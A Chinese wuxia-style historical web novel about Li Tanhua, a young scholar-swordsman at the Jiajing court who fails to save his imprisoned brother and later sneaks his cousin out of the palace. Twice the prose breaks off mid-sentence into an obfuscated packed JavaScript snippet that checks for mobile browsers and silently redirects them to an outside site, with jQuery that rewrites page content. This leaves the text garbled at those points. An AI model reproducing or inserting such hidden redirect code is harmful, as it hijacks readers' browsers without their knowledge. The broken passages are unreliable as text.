《[综武侠]出关》 1. 红鞘绿锷绣鸳鸯 人都说李探花身上时时担着些巧宗儿。这一年,朝中久不见他,可是下雪的时候他回来了。在此之前的一个月,为着不下雪的事,朝中闹得人仰马翻,一些大臣被黜落,另一些干脆丢了性命,百姓担心收成,皇帝也不高兴,因为又有些沽名钓誉之徒可以借此骂他是无道昏君了。忽有一日雪来了,李探花也踏着飞雪回到京城。 大雪把这个枯干的冬季铺成白茫茫一片;他在这一片飞雪之间,是很显眼的。天还没亮,在后世人称之为凌晨三点的这个时候,李探花施展轻功,从垂老的上司同僚们身边掠过,除了一阵微风,在雪地上一点脚印也不留下。总之,看这样儿就知道他又喝酒了,他是个风流灵巧的少年人,平时很可爱,喝点酒更可爱,穿着朱红的袍子,犹如一只冬天里见不到的,流光溢彩的鹮鸟。 圣颜也因这场大雪开朗。当时,皇帝正在坐辇上,肩头搭着一支拂尘,由宫人抬着,刚从南郊回来。他还穿着祷雪时的一身隆重的道袍,沉重的黑色布料上卷着金黄的纹样。步下随着许多道人和太监,都杂在一处。见了他,皇帝说: “这不是李孝元嘛!” 待他近前一点,又笑着说: “李卿,你长高了啊。” 李探花轻捷地掠至皇帝身边,像匹活泼、健壮的小马那样,轻而急促地喘着气,在空气中呵出一团又一团的白雾。皇帝身边本来被随侍的宫人们拥得紧紧的,大家一路上都在暗中互相挤兑。可是李探花一来,却很自然地闯破了这个密匝匝的阵型,他先是用双手扶着坐辇那雕有龙头、口含明珠的木头扶手,抬起脸来对皇帝说: “陛下,臣回来了。” 皇帝说:“很好,随我到西苑去吧。” 李探花热烘烘地笑道: “臣有许多话要对陛下说。” 皇帝哈哈大笑,借着昏黄的灯光,并大雪地照出的亮儿,居高临下地打量着他,发现他不知究竟是从几百里开外奔驰回来的,一身单薄衣裳的前胸后背俱都被汗水湿透了。烛火在他的黑发上镀了一层光泽,而雪仍在下着,片片地飞沾在这一行人的头发和衣衫上。 皇帝斜倚在坐辇上,向他靠了过来,问道:“北边怎样?” 李探花伏在皇帝耳边,轻轻地说了两句不知道什么话;众人只听到皇帝哈哈大笑,然后又伸手点了一下他的额头。李探花面颊红红的,被烛火映照,竟然像个粗鄙的江湖人那样,对皇帝抱拳为礼,又说: “臣说的可不是假话,陛下明鉴明鉴。” 嘉靖皇帝登极至今已有二十年之久,他一年比一年难以满足,哄得皇帝开怀一瞬,已是件十分罕见的事。可是他两个一路笑个不停,再过不多一会儿,就出西华门了。 李探花还没入过万寿宫,他不住地扭头张望,举动之间,显出一股越来越按捺不住的焦躁。在皇帝面前,他当然不能放肆,皇帝不赐座,他须跪着,皇帝不让他进来,他须在门外雪地里待着。于是他就只是站在门边上,可是迫切的神情,渐渐地将那爱笑的面容给撕破了。嘴巴一忽儿张开,一忽儿抿紧,一忽儿又似乎咬着牙,盯着脚下的石砖。 他靴子上的雪已然化了,在砖面上踩出两片湿漉漉的脚印。而皇帝,就像任何一个享受美好夜晚的有闲阶级那样,慢条斯理地由宫人们簇拥着,转进大殿深处去。 到这儿,已经是宫禁很深的地方,常人不能踏足。李探花在门外站着,忽然发现自己周围一个人也没有,抬头望望,四周非常地黑,壮丽的飞檐将他的头顶遮得严严实实,连天也看不见。他忽然打了个寒噤,一路飞驰而抛下的严寒,这时候全都追上了他,不仅身上冷,而且心也凉了下来。于是他持礼愈恭,一动也不敢动。 过了大约有一个多时辰,殿中才有个太监出来,凑近了,笑着说: “李探花?李探花!陛下宣您进去呢。” 李探花猛抬起头来,对上了灯光和那太监的一团媚笑的脸,太监催促道: “您老快点进去吧?” 于是他也笑了,说:“面圣是大事,我有点害怕。” “呦!您老是陛下面前第一位的红人儿,虽不是每日在边儿上伺候的,陛下却常常惦记着您,还把我们这些人都醋死了呢!您还会害怕?” “我胆子小啊。” 李探花说着,抖落一身的积雪。 殿内是另外的一番景象。非常香、非常暖。两个宫女儿在前面引路,这两个姑娘年齿甚幼,还不到他肩膀高,像传说中汉祖高皇帝自秦王宫中得来的美人灯。宫娥那飘飘的裙角,有时候擦着了他被雪水浸湿的长袍下摆。他望着她们的背影,走神了。 就这样走了很久,他连转了几个弯都未注意到,只记得一路上周围明了又暗许多次,而后一阵幽幽的清香飘来,他知道这就是回廊的最后一折。果然,门推开,皇帝正歪在软榻上,轻轻地摇晃着今晚的第三杯酒了。 今夜,皇帝极有雅兴。他刚刚小睡了片刻,精神头又足了,见到李探花,就说: “来来,李卿,朕等着你来做长夜之饮!” 李探花却不敢再得意忘形、行那抱拳礼了,当即扑倒在地,恭恭敬敬地叩首,道: “臣恭敬不如从命。” “既是恭敬不如从命,为何还在门外头?快进来!” 李探花这才解下腰间的佩剑,交给侍从拿去,自己又脱去湿漉漉的靴子,这才走进屋中,敛容跪坐在皇帝的下首。两人之间只有一张金丝楠木的小桌,桌上摆着数道小菜,无论菜色还是一应杯盘器皿,俱都精雅无比。斟给他的一杯酒是奇香扑鼻,而方才他所嗅到的一阵淡淡幽香,则是从架上小巧的一只梅子青莲花香炉中飘散出的。宴饮还未开始,人则觉得飘飘欲仙了。 皇帝说: “怎么,还要朕敬你么?” 李探花笑道: “素来家里管得严,臣原是个没见识的,哪里喝过这样的好酒呀。” “还没喝,怎知道是好酒?” 李探花拈起那小小的酒盏。这是今年汝窑的贡品,据说采用了什么烧瓷的新法,竟能这样地小巧透明,清白的质地当中,还泛出淡淡的粉来,更显得清透可爱。李探花持杯在手,犹如拈花,更是赏心悦目。杯中酒浆清澈,映出了他的脸容。 “陛下赐的,则臣还未饮就已先醉了。” 皇帝被他逗乐了:“你还是饮过再醉吧!” 遂命宫人为李探花连喝连斟,眨眼间已尽三杯,脸上见了微红,冻僵的身体也渐渐复苏。嘉靖又道: “好,好。为李卿换大盏来!” 这回塞在他手中的东西可就沉了,定睛一看,原来是一方碧玉龙首觥,须双手才能捧住。一觥即刻斟满,他又硬着头皮全喝了下去。这次就没那么顾得上仪态,酒浆沿着龙须的纹刻流了下来,打湿了衣襟。喝完这一海,他也只得连声地告饶道: “饶了臣吧!” 皇帝说: “朕听说,江湖人俱好大碗喝酒,李卿难道不是吗?” “那是懵懂小民好勇斗狠,逞些无聊的能耐。臣怎敢在陛下面前逞能呢?他们那些用米缸酿的粗酒,也着实让人不想细品,只求快些灌下去了事。” 说着,他用发亮的目光望着皇帝,自己都未察觉那目光中带有多少哀求的神色。幸而皇帝终于如他所愿,把话题转到了正事上。 “李卿讲讲在北边的见闻吧。此去想必收获不少?” “是!臣本该将详情呈报阁部,可是赶得太急,一路上竟连这点停下来拿起笔的工夫也未得,只好先面呈陛下、再笔呈阁部了。只盼胡大人不要因此参我一本才好。” 皇帝嗤道:“那个胡云翼是太放肆了。” “哪里,胡大人是忠贞体国,天下无二,可臣就没那么正派,所以怕他。”李探花笑道,“听说他连家里仆妇裹脚用几尺布都要管,臣若是他的妻妾,早就上了吊啦!” “既如此,朕明天就赐他几匹布,叫他拿回去养家。” “陛下可千万别说是臣出的馊主意,否则他要恨死我了。” “你看,你刚刚还说他忠贞体国,忠贞体国之人,怎会为了一点小事就记恨同僚?” “忠的是陛下,贞的也是陛下。臣在他心里是祸国的奸佞呢。” 嘉靖笑道: “李卿,你却是这样好玩儿些,可万万不要被他给教坏了。” 李探花也附和着说: “《说文》中云,‘巧谄高材曰佞’,倒不知有什么不好?” 嘉靖听他这样说,哈哈大笑,伸手抚摸他因酒酣而发烫的脸颊,道: “等我朝覆亡以后,佞臣要上《贰臣传》的。” “那不关咱们的事了,对不对?” 李探花目光闪动,望着嘉靖皇帝,并且依偎着他伸过来的手掌。这只手的掌心还有一丝热,可是指尖冰凉。他似忽然想起了什么,垂首将一枚小小的玉印吐落在嘉靖皇帝的掌中。皇帝一眼就认得出,这是镇守九边的大同指挥使周岐的私印,不由哼了一声。 李探花笑道: “这周岐,倒真让人料想不到!” 皇帝把玩着印鉴,只见通透的白玉缺了一角。他轻飘飘地瞥了李探花一眼。 “怎样?” “去年那鞑子吉囊作乱的时候,竟能那么轻易就叩开大同城门,实在令人不得不怀疑指挥周岐是否有失职之处。可惜他被吉囊一刀杀了,便是死无对证。陛下正是因为要查明周岐是否与鞑子有勾结,才派臣去镇川口的。” 皇帝用筷子一缕缕地挑着细如少女秀发的笋丝,答应着他,“如何呢?” “大同指挥使周岐,本受皇上的浩荡天恩,因伴驾有功而赏了个官给他做,镇守边关,教他为国效力,他倒也还算尽忠职守。岂知去年正月,吉囊袭扰大同,周岐抵抗不利,兵败如山倒,还险些丢了城池,兵部参他指挥不力,陛下因指了兵部侍郎李——李荣总督边防军务,荣等又与之缠斗月余,几乎被他咬住,一段时间之内,吉囊看似退却,李荣也回京述职,想不到这鞑子实在狡猾,竟然趁机再次犯边,幸亏总兵官白爵白大人将其拒之于宣平。” 李探花说到这儿,忽然吸了口气,似乎他只有这样才继续说得下去。 “周岐官声不错,恕臣直言,边关武将,多少都有些骄横之气,对百姓欺压甚酷;可是当地百姓都称赞周岐的好处。吉囊突袭大同,抓了些城外贫困的老幼妇孺做人质,周岐于心不忍,方才做出了那种……轻率的举动。” “哦?” 李探花叹口气,“他想出城和这帮鞑子谈判……二十年的老将领、老江湖了,竟然还相信能对这帮鞑子宣以教化,乃至丢了性命也丢了城池,最后和妇孺们一道被杀。可是他在临死前将这颗官印托付给了一个孩子,那孩子长得还没有陛下大殿门口摆的那对花瓶高,大概因此没人在意,千辛万苦逃了回来,臣因而能得到这颗官印。” 皇帝沉思着,把那颗印在手中抛上抛下,仿佛在抛着李探花的心一般。少年人那双灵巧的眼珠,似乎痴了、木了,随着那小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995977|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩意儿上上下下。他刚意识到自己的失神不敬,皇帝忽然道: “李卿可愿为朕弃剑用刀么?” 李探花顿了顿,说: “好啊,臣使刀使剑都是一个样。” 皇帝却好像对此盘算已久了。他微微地一扬下巴,就有宫人托着一只黑漆金花大木盘走上前来,在二人面前跪倒。于是李探花看清了那盘中盛的是一双红鞘绿锷的绣春刀。 本朝厂卫常得圣眷,天子恩宠,往往赐下独一无二的厚爱,此时放在盘中的这对刀,却与现有的任何形制都不太一样,更细、更短,几乎像两把匕首,而双刀通身雕饰之精美,简直是巧夺天工,任何人都不免看直了眼睛。 李探花将双刀提起,微微抖腕,便在手中挽出两朵刀花来,内侍捧上一方沉重的乌木叫他试刀,刀锋未及,仅是那股锐气便将木头斫成了两段。原来他说用刀用剑俱是一样,并非托大。皇帝笑道: “我用这对刀,换你那把乌鞘剑,你不吃亏吧?” “臣当然不吃亏,吃亏的是陛下呀!我那把剑本来就是随便用用,连个名字也没有。” 李探花笑着,心中也确实不甚在意,或以为自己不在意。可是他眼角余光却看到内侍匆匆自廊下走过,手中捧着的却是他自己觐见皇帝前摘下的长剑。 这剑却并非没有名字,剑名即是“无名”。这是他十岁的生日宴上,藏剑山庄的龙老人送给他的礼物。得到此剑之后,他确实是十分喜爱,因为他父亲虽不准家中收藏兵器,却不好拂龙老人的面子,于是他得以拥有了一把真正的宝剑。不过,就宝剑本身说来,这把剑倒实在没什么稀奇的。 那么……既然有了更好、更锐利的兵器,他为何还要舍不得这一把笨拙的旧长剑呢? 那只是一眨眼的工夫。内侍将无名宝剑捧走了。 皇帝低沉的嗓音,唤回了他的思绪。皇帝向他谈起刀剑的名称: “这对刀的名字,反而就在刀身上,正如谜底就在谜面中。” 李探花下意识要低头看刀,却被皇帝止住了,“朕留下这个谜,你今后慢慢猜罢!现在喝酒。” 李探花便将双刀又交给内侍收起来,再尽了一觥,忽然觉得酒味如此辛辣,竟把眼泪也逼出来了。他哈地喘了口气,把杯子放在一边,大概就是借着酒胆,膝行近前,拉着皇帝的衣袖,说: “陛下,李荣替罪臣说话,实在是罪该万死,可是现在真相已经大白,周岐并非叛国贼,那么李荣也……求陛下看在他毕竟还是打退了鞑子的份儿上,就把他给放了吧。我……我大哥这个人本来就很笨,脑筋不会转弯的。绝不是对陛下有什么贰心。” 皇帝悠然地道: “你和李荣真不像一对亲兄弟。” 李探花借着酒劲又笑了,“本来就不是啊,大哥是从我叔父那儿过继来的。爹爹却是到四十多岁上才娶了我娘啦。” 皇帝默默地点头,若有所思,可是谁也不知道他在想什么。后来,他终于说道: “李卿如此兄弟情深,令人感动。你就拿着这对双刀,去诏狱提人吧。” 李探花的双眼立刻像个孩子一样地亮了起来;他本来的确是个孩子。十六岁探花及第,在本朝都是难得一见的。于是他又忍不住转着脑袋,想看看内侍把双刀给拿到哪儿去了。皇帝微笑道: “朕这儿是留不住你了,你去罢!” 于是他便向皇帝叩头三次,快快地飞下殿去了。 锦衣卫的双刀,自然也等于是卫所中象征着品阶的信物。于是这一次李探花来到诏狱自然畅行无阻。他早就不管不顾地探过诏狱,本已知道大哥李荣被关在哪个号子里,可上次是偷偷来的,现在还是得作一副无辜状,由狱卒在前头带路,其实他在心里头骂人家走得慢已经不知道骂了几回了。 在这种地方走得慢也正常,隔两步就碰上一道门,要开一道锁。李探花听着那锁链咣啷的声音实在心烦,恨不得把这些铁链一齐扯断,可惜他虽然小小年纪就武功盖世,超出人类能力极限的事情也确实是做不到。结果磨蹭了一炷香工夫,才来到李荣的监号前。李探花此时竟忘了要假装自己没来过,不等狱卒开口告诉他到地方了,他就呼喊起来。可是没有人回应他。此刻那狱卒眼前一花,见他已猛然蹿至栅栏跟前,然后,像有什么怕觉似的,后退了一步。 石屋之中,上下皆是冰凉、青白的石块,刚刚被泼水清洗过,一点血迹也看不出。墙上前人刻下的诗句宛在,洗去血痕之后,更清楚了。 那诗句他上次来的时候就见过,当时,他大哥指此句说: “这是我父临死前留的绝句……” 他甚至都不用细看,就知道那两句是: 行人折柳寄相思,又见春风换故枝。 当时他想:真不知道什么样的怪人,才会拼着把指甲都磨碎了,就为了在监牢的墙上留这样的诗。 可是此时此刻,他猛然发觉,墙上的诗已不是两行,是四行。下面的两行,刻诗之人功力明显更深些,字迹也更清晰,竟是续上了这首绝句。写的是: 若问无情闲岁月,恰是新条未出时。* 什么样的人会在普天之下、古往今来,最可怖、最坚固、最骇人听闻、插翅难飞的牢狱里刻这样的诗呢?真是烂诗。费那么大的劲儿刻了,至少要刻好些呀! 他这样想着,后退了一步,没有哭,反而哈哈大笑了起来。 *《御选宋金元明四朝诗-清-圣祖玄烨》御选明诗卷一百五,李兆先,《绝句·其一》 2. 夏日,飞雪绵绵 未牌时分,即使是国家政事重地,气氛也轻松了起来。严嵩刚刚面圣回来,背着手,并且迈着方步,昂扬地踏进了院落。文渊阁在数年前刚刚翻修过一次,现在是个非常气派的建筑了,前面的一间,供奉先师孔子。西面数间屋子,于柜中收藏着历代实录副本,前楹又设下几张凳,这凳子一看就知道颇不舒服,但能坐在上面的人,都是帝国中人臣之极者。大学士们下朝之后,可以在这几张凳上歇息,而不必如他们另外那些苦命同僚一样,无论天气如何,都得顶风冒雪地回去。 本朝君心诮刻,难以揣度,更加不能指望他体谅臣下,唯此这一点优待才更显得特别。此时此刻,阁中静悄悄的,而且这种寂静,恐怕将要持续上好一段时间了。 他带着微笑在院中转悠了一圈。路过先师塑像的时候,恭恭敬敬地上了两柱香。然后进东屋去走了走。屋中没有点灯,就显得黑黢黢的,因为这儿的围墙虽然气派,但实在有些太高了。他来到桌前,兴之所至,随手提起笔来,却又犹豫片刻。这会儿身边没人伺候,要是没人磨墨铺纸,他阁臣的分内之事就显得太麻烦了。何况实在太黑,连摆在桌上的一册书的标题都看不清。 今天,他心里觉得很高兴,这么高兴的时候,人当然不想独自呆在这样一间监牢也似的黑屋子里,于是他把笔放下,又溜溜达达地走了出来,要去一个更热闹些的地方,也许把自己的快乐和人分享确乎是人之常情,即使他心里也知道这不是件容易启口的事情,于是他又从东屋转了出来,走进西屋。 西屋里间正有两名翰林留值,以便有要誊写和起草什么东西的时候,用得着他们。宣德年间至今,翰林院已和内阁的权力渐行渐远,翰林学士们已经不再能够随意地查看诰敕,但这种使用文书的客观需要,以一种不成文的习惯的形式保留了下来,因其不成文,翰林学士能入文渊阁听用,实际上也是一种优待、一种预兆,或者一种心照不宣的许诺。 今日在这里的是严讷和李孝元。前者,严阁老在心情好的时候也允许他攀一攀亲戚,后者,因为在去年的辛丑科以十六岁高中探花,大部分同僚要么能够得上做他的爷爷,要么能做他的爹,因此大家都怀着一种对小孩子的关怀和调侃的心情,叫他李探花。 李探花考运亨通,举子们在这个年纪若能乡试题名,即算很有出息的了,他竟然三考皆中,一路吉星高照到金銮大殿上。殿试放榜之时,皇帝召见新科进士们,还特别地问了他几句话,又问他的表字。李探花说,他今年十六岁,还没有取字。 皇帝笑说:“好个李廷相,生个儿子教他高中一甲,却竟然连表字都未取,今后怎与同僚区处?朕赐你一个。” 当下便曼声吟道: “一身从宦留京邑,五马遥闻到旧山。李孝元,朕赐你‘从宦’二字,叫你忠孝两全,如何?” 此事一传十、十传百,是以他还没进翰林院,大家就早知道李探花此人不仅考运亨通,官运也要亨通了。 严李二人乃是辛丑科的同年,因此在清闲无事的时候,严讷就说起两人的老师温仁和来。说到入冬了,老师年纪大了,前几天已经告病在家,两人理当去探望探望。 温仁和是辛丑科的主考官,两人故称老师,连带着严李二人也有了同学之情,但和其他同事一样,严讷很难把比他小上足足十五岁的李探花看成是同辈人。闲谈的时候,不免带着些轻佻口气: “你是几时回来的啊?” 李探花把笔停下,说: “昨天。” “不对,我记得你上个月就回来了,怎么又是一个月不见?” “我送我大哥回家去了。” 严讷“哦!”了一声,想到朝野上下的很多传闻,他又亲切地抚摩着李探花的脊背,说道: “那么李重恩怎么样了?一路上走得还顺利吧?” 重恩乃是李探花的兄长,前任兵部右侍郎李荣的表字,严讷把这个名字叫得很亲切,好像他们是多年的老朋友似的。他又神神秘秘地说: “我听说……在那里……受了刑伤以后,不能挪动,何不就让你哥哥在北京的宅子里把伤养好了再回去?而且,万一皇上有旨意……” 严嵩在门外听到这里,从喉咙里挤出一阵长声来。严讷马上起来,再拜道: “严老师。” 严嵩是辛丑科的副考官,因此也领受他一声老师。他高兴的时候,就不反驳这称呼,于是两人从冰冷的上下级关系当中,增添了一份特别的师生情谊。总是能轻轻松松地制造这种温情氛围,这就是严讷身上让旁人都比不上的一点。他见严嵩只在门外站着,于是快步赶了出去。 “老师,您刚从西苑回来?辛苦了……” 严嵩和颜悦色地道: “敏卿,你和李孝元嘀嘀咕咕些什么呢?” 严讷笑道: “学生不过是多嘴问了两声他家里的事情……” “有什么好问的?李重恩在牢里就病死了,李孝元领了他的尸骨回乡安葬,这事你不知道?” 严讷后退一步,险些绊倒在门槛上。 “啊呀!” “敏卿,这些事情,今后要注意。” 严嵩淡淡地说着,迈进屋中,留下严讷在背后“这……这……”地念叨。 李探花似乎没听见他们两人的谈话,严嵩这样位置尊崇的上司进来,他也好像没看见,只顾着誊他那两份邸抄,其实这个根本用不着他干。严嵩的阴影落在桌上,他才抬起头来,慢慢地说: “老师,谢谢你。” 严嵩从他那副美髯后面,露出一个温和的笑容,“别管这个了,同我拟道文书来。” 李探花默默地把手边的纸张挪开,重新铺上一张黄纸,蘸了墨,又睁着眼望他: “老师,皇上有什么旨意?” 严嵩说: “夏言阁老一品九年满,皇上有赏赐。不要舔笔尖。什么银钱、宝钞、羊酒、内馔……天恩所至,荣宠复来。现在要颁玺书奖赏其功劳,还要一应恢复其官阶。你把这玺书按制拟来。你已经是入阁听用的人了,改不掉这舔笔尖的毛病可不好。” 李探花便又按制把黄纸换了白麻纸,想也不想地写下去,不多时便将玺书作成。严嵩便袖走了。 严讷在门口听着。且听且思忖,却搞不明白这是什么意思。或者说他能明白却不敢明白。谁都知道夏言和严嵩不对付,现在皇帝复宠夏言,严嵩还这样地一派喜气,细想想难免令人脊背发凉。等严嵩走了,他进去想和李探花谈论这件事,对方又露出一副梦游也似的神气,和这种人谈天,真是闷死了。 过了数月,当他结束了在内阁的工作,回到翰林院,接着对付那些没完没了的文献时,又对另一个同年高拱说: “你觉不觉得李孝元这连月以来越来越奇怪了?” 高拱说: “他哥哥死了嘛。” “咳,这种事……没完没了的可不好。再说,真相大白以后,陛下已经下了敕令追赠李荣的尚书衔了,皇上分明已是隆恩浩荡,是李荣自己没福。” “可是,入了那个门,一切难说啊。” “我是说,这小子连日以来神色不对,前两天我碰见他绕着宫墙乱走,一副若有所思的样儿……” “你是说他想乱宫?得了吧。” 高拱先是笑话了他一句,后来却也沉吟起来: “这李孝元可从小跟着些江湖上的三教九流学了些不入流的能为,大同兵乱的时候,他还和李荣一道去了,那事你还记不记得?虽然没亲眼见过,但听说他武功了得,宫墙怕不是随随便便就上去了。” “还说我的话没影,你这话更没影儿。你当内宫的卫士是好看的?怎么可能叫他翻墙进去。” “如果说的是宫墙——” 忽然,一把声音从两人身后响起,把他俩吓了一跳,高拱手里的茶盏都脱手而出,李探花手快地捞了回来, “那确实不是很高。但是我为什么要爬它啊?” 严讷因他露了捞茶杯的这一手,欲言又止,最终什么也没说。 李探花又笑了笑,把茶杯放在桌上,推门走了出去。 院中有两棵参天古木,在夏日里尽情地舒展着枝桠。李探花抚摸着树干,仰头望去,古树繁茂的枝叶遮天蔽日,他有许多同僚喜欢在树荫下乘凉,院落竟有泰半为浓荫所遮挡,有风来时,在屋里都能听得见满园沙沙作响,这时候,翰林官员们甚至会停下手中的笔,推开窗户,引来满室幽凉。 他只是轻轻地一腾身,便蹿上了树枝,又从树枝跃至院墙上头。院墙上铺有上了釉彩的瓦片,远看闪闪发亮,走起来觉得凹凸不平,有点滑。但他的脚步像像猫儿一样轻捷,没有惊动屋里的同僚们,只这样一径走了。 有时候他走在树荫里,有时候走在阳光下。一直到绕到院墙另一边,才跳落在地。悄悄转身去看翰林院门前的司阍,威武地扛着棍棒,竟然一点也没注意到刚刚有个人在他们眼皮子底下翻墙出去了。 李探花终于微微一笑,马上脚底抹油,开溜了。 不独嘉靖二十年的夏七月,年年的夏七月都是翘班的好时候。反正不翘白不翘。沿墙根走了一阵,天上幽幽地飘下柳絮,犹如雪花绵绵,却不知是哪儿飞来的。北京城不像他直隶的家那样有许多树,宫中对种树这件事情是很谨慎的,怕树上隐藏了贼人。鉴于他刚刚才爬树上墙,对此倒也不好反驳。可柳絮依然无所不在。他仰头看天,柳絮就直飘到脸上来,引得他打了个喷嚏,忽然好像如梦初醒一般,浑身激灵灵地打了个寒战。 他这才真正地意识到自从他把哥哥的遗体送回家去,已经过去整整半年之久了,当日他在已经打扫得一干二净的监牢中,读着了哥哥的遗诗,也是半年前的事情了。 他总共进过诏狱两次,第一次是央求陆炳陆大人,偷偷放他去的,陆炳并借给他一件狱卒的衣裳。他心里对陆大人觉得很对不起,因为他并不是想去看哥哥,而是想用他这通身的武艺,杀几个人也好,把哥哥救出来。他是上过战场的,他知道杀人是怎么回事,甚至可以说:他很会杀人。 他会杀人,可是不会救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来,他就雇了一辆大车,把尸体全载上,一路到了郊外,买了块地,又买了许多棺材,都埋了。好像有很多人围在他身边,喊他恩公和青天什么的,他一概都记得不太清楚了。这些事情办完以后,大车上还剩下最后一具尸体,他敲着车辕子,喊说: “这是谁家的啊?是谁家的?” 风呼呼地吹着,他这才反应过来,喃喃地说: “我家的。是我家的。” 到如今,已是半年过去了。他心里惦记的是另一个“我家的”。于是翻过了大围墙,潜进内宫去。内宫多的是奇花异草,疏石流水,就是说,很多可以藏身的地方。他在一块太湖石后面脱了官服和靴子,解开带子,放下裙摆。他把官帽除去,拔下发簪,走到水边来慢条斯理地整妆,期间有两三批宫人路过,看到一个女子在水边挽着长发,都不以为意,有两个窃窃私语地说: “要卖弄,上西苑卖弄去啊,这儿成年间也见不着陛下。” 李探花听了,抬眼对她们灿烂一笑,两人马上跑了。 他慢慢地把簪环戴好,如今水面映照出的,竟然是一位宫妆女子了。只是因为女人的东西太拉杂,随身带它不得,所以不能描眉涂唇,望之颇有虢国夫人淡扫娥眉之姿。 这位宫装丽人,袖着手,慢慢地沿小路走着,沿途热情地和许多人打了招呼,别人也都莫名其妙地回了招呼,但就是想不起来宫里哪有这号人。当然想不起来也正常,嘉靖皇帝后宫佳丽三千,可不是虚数。 后来他终于到了曹端妃的宫门前。到这儿,他就止步不走,只坐在那幽雅的竹林边,用手轻轻地扇着风,走了这么长一段,细密的汗水薄薄地出了一层。不过一会儿就有风吹来,很是畅快。他就这么坐了一会儿,一直没见有什么人来,好半天才有个宫女,手挽一只小竹筐,里面盛着针线布头等物事,沿路走了过来,见到宫门前坐着这么一个陌生的女人,她少不得要偷眼打量一下,看了一眼就再也挪不开目光。 她说: “表哥!你……” 李探花微笑着道: “诗音,表哥带你出去玩好不好?现在是夏天,四九城里最好玩的时候啊。” 诗音悚然道: “表哥,你不要命啦?快走吧!这是乱宫大罪呀。” “表哥带表妹出去玩玩,算什么罪过?表妹,我们看海去。” 诗音半是哀求,半是叹惋地说: “这里哪儿有海呀?” “宫外头什么都有。” “我不去。” “你是不想去,还是不敢去?” “是不想去。” “真的?” “哎呀,表哥!” 李探花把她逗得够了,又笑道: “好啦,我都研究好几个月了,万无一失。我带你走一条最保险的路,一路上的那几个小太监我都打点好了。” 诗音深深地看着他,她那样儿,好像完全不相信他的计策能有多成功,甚至坚信下一秒就会有卫士追上来把他俩射成刺猬、斩成肉块似的。可她还是说: “那么,表哥,你就带我走吧。” 3. 一个说梦的痴人……她爱他的痴 七月的街道像暑热一样长得似乎没有尽头。出大明门,巍峨的宫城已然被抛在了身后,眼前的街道骤然窄下去,这是因为鳞次栉比的商铺和拥挤的行人把街道给填得满满当当。这么多游人、这么多走街串巷挑着担子吆喝的小贩、这么多匆匆的牛车、骡车和马车,这么多闲来无事迈着闲步溜达的阔老爷少爷们,爱耀武扬威的骑一匹马,爱文雅的拿一把扇;要摆阔的,顶好就还是坐轿。达官贵人的轿子,前后必然随着两或者四人的仪仗,将他们的主人和尘世的烟火气隔离开来。至于多到随从八人甚或十人以上的,那是不多见的,必定是顶大顶大的官了。 囊中羞涩者,就让妻子和老娘骑在驴上,自己下步牵着它走。驴是种倔强的畜生,忽然不知道为了什么,在街口止步不肯走了,那牵驴的抽了它两鞭子,又使出吃奶的劲儿使劲地拽它。在驴上侧着身子坐的那人的媳妇,就低下头来,抚摸着驴子的头颅,和它说话。 那男人气哄哄地说: “你跟个畜生还扯上了?” 但是他对那倔驴实在毫无办法,只好站在那,叉着腰,看他媳妇和驴子说话。这时候,从身后传来了得得的马蹄声,这男人连忙扭头去看,怕冲撞了哪位贵人的行驾,这些在正阳门内也敢纵马疾驰的人常常是不好惹的。可是哪怕他看到皇帝本人骑在马上走过来,恐怕也不会如此惊讶——虽然他根本认不得皇帝天颜长成个什么样子。 从他身后沿路行来的这一骑,马蹄得得,步伐悠然,马上坐着的一名宫妆少女,十三四岁年纪,团团的可爱的粉颊,叮当的钗环,肤白若雪,云鬟似雾,简直让人怀疑怎会有人把她捧出来在这大太阳底下,万一化了呢?万一风一下将她如雨的发丝、扰扰的云丝织成也似的纱裙吹散了呢? 这少女望着热闹的街景,眼中似乎有着无限的向往和惆怅。后来她对坐在她身后,一手挽着马缰、一手捏着两串糖人的另一位少女说道: “表姊,”喊了这么一声,这文静的少女不知为何先抿嘴微笑了一阵,“表姊,你瞧那儿,他们把风筝放得有多高!” 表姊比她略大个两三岁,却是一张瘦削的鹅蛋脸,眉宇间透着英气,脊背也挺得很直,握缰的姿态虽然随意,但行家一眼就看得出她显然娴于弓马。和她的妹妹不同,这少女的身上绝少妆饰,长发挽得也随意,简直像刚睡醒还没整妆似的。她的裙子比妹妹要长得多,遮住了脚尖,风来时,姊妹二人的藕荷与鹅黄的裙摆纷拂交织,实在美不胜收。 这样的一对女子出现在街头,让人怎能不看直了眼呢? 京城物物繁华,事事靡丽,有勤恳谋生的人,却也多的是浪荡子、好事者、闲来无事只求刺激的人,于是姊妹二人的这一骑的周围,渐渐地多了些搅扰,有的是在步下走着,有的骑马,不仅追看两人的美貌,更是想要看看她们上什么地方去。见她二人举动之间似乎是随意游乐,便有一人从后面打马赶了上来,与两人并辔而行,并且搭话说: “姐姐……二位姐姐……” 那年幼的少女马上因成年男人的招呼而羞红了脸,把头扭过去藏在她表姊的胸前。她的表姊倒像是走惯了江湖的,在马上冲此人拱手,又放慢了马步,道: “奴不善走马,阻了相公的道路了,真是罪过,相公请罢。” 她的骑术竟真有那么高超,在拥挤的街道上也灵活地操纵马匹,靠向街边,让出道儿来给这陌生人先行。此人哪肯就这么算了,便道: “姐姐过谦了,是小生该给姐姐让道才是。请问姐姐是哪里人士?听口音不似京城人,却仿佛是小生故乡音色。” 那女子闻言一笑,令对方看得眼都直了,她徐徐地道: “来到天子脚下,自然就是天子臣僚。” 这人连她说了些什么大概都没听清,一叠声地只顾道: “那是,那是。姐姐说的是。” 少女又问: “相公上哪儿去?” “我……” 